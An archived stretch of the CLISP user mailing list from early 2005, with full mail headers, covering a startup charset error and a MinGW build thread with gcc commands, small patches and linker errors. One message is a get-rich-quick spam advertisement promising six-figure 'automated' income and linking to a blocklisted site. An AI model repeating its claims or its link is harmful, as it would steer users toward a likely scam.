clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 12:53:51 2005 X-Original-Date: Mon, 31 Jan 2005 21:46:12 +0100 When I start up clisp I get the error: '*** - invalid byte #xFC in CHARSET:ASCII conversion'. Using 'clisp -norc' yields no error. There is neither .clisprc.lisp nor .clisprc.fas in my home directory so what is going wrong? From sds@gnu.org Mon Jan 31 13:11:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cvioz-00072o-KB for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 13:10:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cviov-00028E-SJ for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 13:10:57 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j0VL9Hv5009208; Mon, 31 Jan 2005 16:09:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, Patrick-Oliver Lorenz Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Patrick-Oliver Lorenz's message of "Mon, 31 Jan 2005 21:46:12 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Patrick-Oliver Lorenz Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Error: Invalid byte Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 13:16:27 2005 X-Original-Date: Mon, 31 Jan 2005 16:10:29 -0500 > * Patrick-Oliver Lorenz [2005-01-31 21:46:12 +0100]: > > When I start up clisp I get the error: '*** - invalid byte #xFC in > CHARSET:ASCII conversion'. Using 'clisp -norc' yields no error. There > is neither .clisprc.lisp nor .clisprc.fas in my home directory so what > is going wrong? you have non-ASCII characters in pathnames. . -- Sam Steingold (http://www.podval.org/~sds) running w2k Why do we want intelligent terminals when there are so many stupid users? From achiss@aceofbasemail.com Mon Jan 31 20:04:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvpHD-0008Ev-Be; Mon, 31 Jan 2005 20:04:31 -0800 Received: from [218.83.79.93] (helo=aceofbasemail.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CvpHA-0000DN-Qc; Mon, 31 Jan 2005 20:04:31 -0800 Message-ID: <3072C92E.EA5D200@aceofbasemail.com> Reply-To: "joan hart" From: "joan hart" User-Agent: IncrediMail 2001 (1800838) MIME-Version: 1.0 To: "Bonita Sanchez" Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: megaproductpower.com] 0.0 MANY_EXCLAMATIONS Subject has many exclamations Subject: [clisp-list] Earn a 6 Figure Income Online! - 100% Automated System! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 20:06:55 2005 X-Original-Date: Tue, 01 Feb 2005 08:15:23 +0600 Learn How To realize "P R O F I T S" of 100,000US Online this Year ..with our easy to use automated system A Business Based out of your home - This Automated Marketing System Does It for YOU! Earn 1000.00US per sale on "Auto-Pilot!" Automated System To Make Cash Flow Online! Our System does 98% of the W O R K for you! . . . . . .No more long hours prospecting! Join a company that is serious about your success. Do you want time and freedom? Start Making a Huge Income Watch Our 6 Minute Video! Take Action Today! Go HERE TO WATCH THE VIDEO! http://e.sd.megaproductpower.com/gr/ Here for more information or to stop receiving or to see our address. You don't seem to understand. Well, I'll explain You're the Demon of Electricity, aren't you? I am, said the other, drawing himself up proudly From kavenchuk@jenty.by Mon Jan 31 23:46:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cvsk9-0003F0-7Q for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 23:46:37 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cvsk7-0002JN-Nz for clisp-list@lists.sourceforge.net; Mon, 31 Jan 2005 23:46:37 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1A7NC04C; Tue, 1 Feb 2005 09:48:59 +0200 Message-ID: <41FF33F7.7020003@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PIPE BODY: Text interparsed with | -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 31 23:50:17 2005 X-Original-Date: Tue, 01 Feb 2005 09:47:03 +0200 Sam Steingold: > > MODPREP: wrote gettext.m.c (151,298 bytes) > > gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment > > -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 > > -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES > > -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o > > gettext.c:13:19: clisp.h: No such file or directory > > ... > > "-I../" - incorrect under mingw/msys, change to "-I.." > > please apply this to modules/i18n/Makefile.in > > --- Makefile.in 22 Oct 2004 13:53:54 -0400 1.1 > +++ Makefile.in 31 Jan 2005 11:21:26 -0500 > @@ -3,7 +3,7 @@ > CC = @CC@ > CPPFLAGS = @CPPFLAGS@ > CFLAGS = @CFLAGS@ > -INCLUDES= ../ > +INCLUDES= .. > MODPREP = ../modprep.fas > > CLISP = clisp -q -norc > This patch needs for all modules (syscalls, regexp, etc...) But... does not help: ... ;; MODPREP: 183 objects, 9 DEFUNs ;; packages: ("I18N") MODPREP: wrote gettext.m.c (151,333 bytes) gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o gettext.c:13:19: clisp.h: No such file or directory gettext.c:28: error: syntax error before string constant ... But, we already passed it: $ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-si gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I . -I.. -c gettext.m.c -o gettext.o In file included from gettext.c:13: ../clisp.h:555: warning: register used for two global register variables gettext.c: In function `C_subr_i18n_language_information': gettext.c:478: warning: implicit declaration of function `get_locale_info' ... This after apply patch: > --- gettext.c 25 Jan 2005 09:28:44 -0500 1.7 > +++ gettext.c 31 Jan 2005 11:20:59 -0500 > @@ -241,6 +241,10 @@ > skipSTACK(2); > } > > +#if defined(WIN32_NATIVE) > +# define GET_LOCALE_INFO_BUF_SIZE 256 > +#endif > + > #if defined(HAVE_LOCALECONV) > static void thousands_sep_to_STACK (char* sep1000) { > int ii; > @@ -319,7 +323,6 @@ > funcall(`I18N::MK-LOCALE-CONV`,24); > } > #elif defined(WIN32_NATIVE) > -# define GET_LOCALE_INFO_BUF_SIZE 256 > static void get_locale_info (int what, char**res, int *res_size) { > int val = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT,what|LOCALE_USE_CP_ACP, > *res,*res_size); > We still shall see `get_locale_info'... $ make ... `syscalls' too swears: $ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-si gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I . -I.. -c calls.m.c -o calls.o In file included from calls.c:20: ../clisp.h:555: warning: register used for two global register variables calls.c: In function `getrlimit_arg': calls.c:4045: warning: comparison of unsigned expression < 0 is always false calls.c: In function `getrlimit_arg_reverse': calls.c:4058: warning: comparison of unsigned expression < 0 is always false calls.c: In function `C_subr_posix_lgamma': calls.c:197: warning: implicit declaration of function `lgamma_r' ... Result: CLISP_LINKKIT=. clisp-link add-module-sets boot base i18n syscalls regexp || (rm -rf base ; exit 1) make[1]: Entering directory `/home/clisp/build-mingw/i18n' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/home/clisp/build-mingw/i18n' make[1]: Entering directory `/home/clisp/build-mingw/syscalls' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/home/clisp/build-mingw/syscalls' make[1]: Entering directory `/home/clisp/build-mingw/regexp' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/home/clisp/build-mingw/regexp' gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -I/home/clisp/build-mingw -c modules.c In file included from modules.d:11: C:/gnu/home/clisp/build-mingw/clisp.h:555: warning: register used for two global register variables gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none modules.o regexi.o regex.o calls.o -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.exe calls.o(.text+0x4e0):calls.m.c: undefined reference to `lgamma_r' gettext.o(.text+0xb5a):gettext.m.c: undefined reference to `get_locale_info' gettext.o(.text+0xbe2):gettext.m.c: undefined reference to `get_locale_info' !!!!!......................................... Here our `get_locale_info' and `lgamma_r' collect2: ld returned 1 exit status boot/lisp.exe -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispinit.mem") ;; Loading file i18n\preload.lisp ... ;; Loaded file i18n\preload.lisp ;; Loading file syscalls\preload.lisp ... ;; Loaded file syscalls\preload.lisp ;; Loading file regexp\preload.lisp ... ;; Loaded file regexp\preload.lisp 1562080 ; 524288 base/lisp.exe -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i syscalls/posix -i regexp/regexp -x (saveinitmem "base/lispinit.mem") ./clisp-link: base/lisp.exe: No such file or directory make: *** [base] Error 1 ready to the further tests :) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Feb 01 06:39:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvzBS-0007Zp-Aa for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 06:39:14 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CvzBR-0002DC-Bb for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 06:39:14 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j11Eb42C020585; Tue, 1 Feb 2005 09:37:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <41FE4E4E.3020801@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 31 Jan 2005 17:27:10 +0200") References: <41FE4E4E.3020801@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 1 06:45:12 2005 X-Original-Date: Tue, 01 Feb 2005 09:38:17 -0500 > * Yaroslav Kavenchuk [2005-01-31 17:27:10 +0200]: > > "-I../" - incorrect under mingw/msys, change to "-I.." are you sure this is a GCC message? I am pretty sure mingw/msys gcc _does_ accept "/" as a path separator. -- Sam Steingold (http://www.podval.org/~sds) running w2k Marriage is the sole cause of divorce. From sds@gnu.org Tue Feb 01 06:47:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvzJI-0008Hg-LM for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 06:47:20 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CvzJI-0002wy-1f for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 06:47:20 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j11EjoX4021864; Tue, 1 Feb 2005 09:45:50 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <41FF33F7.7020003@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 01 Feb 2005 09:47:03 +0200") References: <41FF33F7.7020003@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 1 06:50:05 2005 X-Original-Date: Tue, 01 Feb 2005 09:47:03 -0500 > * Yaroslav Kavenchuk [2005-02-01 09:47:03 +0200]: > > calls.c: In function `getrlimit_arg': > calls.c:4045: warning: comparison of unsigned expression < 0 is always false > calls.c: In function `getrlimit_arg_reverse': > calls.c:4058: warning: comparison of unsigned expression < 0 is always false should be fixed in the CVS head. > calls.c: In function `C_subr_posix_lgamma': > calls.c:197: warning: implicit declaration of function `lgamma_r' please investigate: lgamma_r is used only if autoconf detects the appropriate declaration in . please get cvs head, reconfigure, and look at the config.log file for clues. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Politically Correct Chess: Translucent VS. Transparent. From kavenchuk@jenty.by Tue Feb 01 07:07:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CvzcJ-0001Cy-Kt for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 07:06:59 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CvzcH-0006GC-P7 for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 07:06:59 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1A7NDAVZ; Tue, 1 Feb 2005 17:09:11 +0200 Message-ID: <41FF9B23.60707@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 1 07:09:21 2005 X-Original-Date: Tue, 01 Feb 2005 17:07:15 +0200 Sam Steingold: > > * Yaroslav Kavenchuk [2005-01-31 17:27:10 +0200]: > > > > "-I../" - incorrect under mingw/msys, change to "-I.." > > are you sure this is a GCC message? > I am pretty sure mingw/msys gcc _does_ accept "/" as a path separator. > No, certainly no! I am sorry, it is my own remark. Having received the message ;; MODPREP: 183 objects, 9 DEFUNs ;; packages: ("I18N") MODPREP: wrote gettext.m.c (151,298 bytes) gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o gettext.c:13:19: clisp.h: No such file or directory having made sure, that a file clisp.h on a place, I have change directory to i18n and have repeated command gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o with "-I../" and with "-I..". The first attempt has produced too the message gettext.c:13:19: clisp.h: No such file or directory the second attempt was successful. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Feb 01 07:39:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cw07k-0003Wt-MU for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 07:39:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cw07j-0003Yd-3v for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 07:39:28 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j11FbqIT000680; Tue, 1 Feb 2005 10:38:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <41FF33F7.7020003@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 01 Feb 2005 09:47:03 +0200") References: <41FF33F7.7020003@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 1 07:46:20 2005 X-Original-Date: Tue, 01 Feb 2005 10:39:05 -0500 > * Yaroslav Kavenchuk [2005-02-01 09:47:03 +0200]: > > gettext.c:478: warning: implicit declaration of function `get_locale_info' > calls.c:197: warning: implicit declaration of function `lgamma_r' fixed in the CVS head. thanks for your bug report. -- Sam Steingold (http://www.podval.org/~sds) running w2k Incorrect time syncronization. From kavenchuk@jenty.by Tue Feb 01 07:54:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cw0Lu-0004sW-Fy for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 07:54:06 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cw0Ls-00066s-Jg for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 07:54:06 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1A7NDAY8; Tue, 1 Feb 2005 17:56:36 +0200 Message-ID: <41FFA640.80608@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 1 08:00:49 2005 X-Original-Date: Tue, 01 Feb 2005 17:54:40 +0200 Sam Steingold: > > * Yaroslav Kavenchuk [2005-02-01 09:47:03 +0200]: > > > > gettext.c:478: warning: implicit declaration of function > `get_locale_info' > > calls.c:197: warning: implicit declaration of function `lgamma_r' > > fixed in the CVS head. > > thanks for your bug report. > Many thanks! I wait cvs-tarball. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Feb 01 09:06:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cw1Ts-0001EQ-GD for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 09:06:24 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cw1Tp-0001EY-Pa for clisp-list@lists.sourceforge.net; Tue, 01 Feb 2005 09:06:24 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j11H4i5d016315; Tue, 1 Feb 2005 12:04:54 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <41FFA640.80608@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 01 Feb 2005 17:54:40 +0200") References: <41FFA640.80608@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 1 09:11:43 2005 X-Original-Date: Tue, 01 Feb 2005 12:05:57 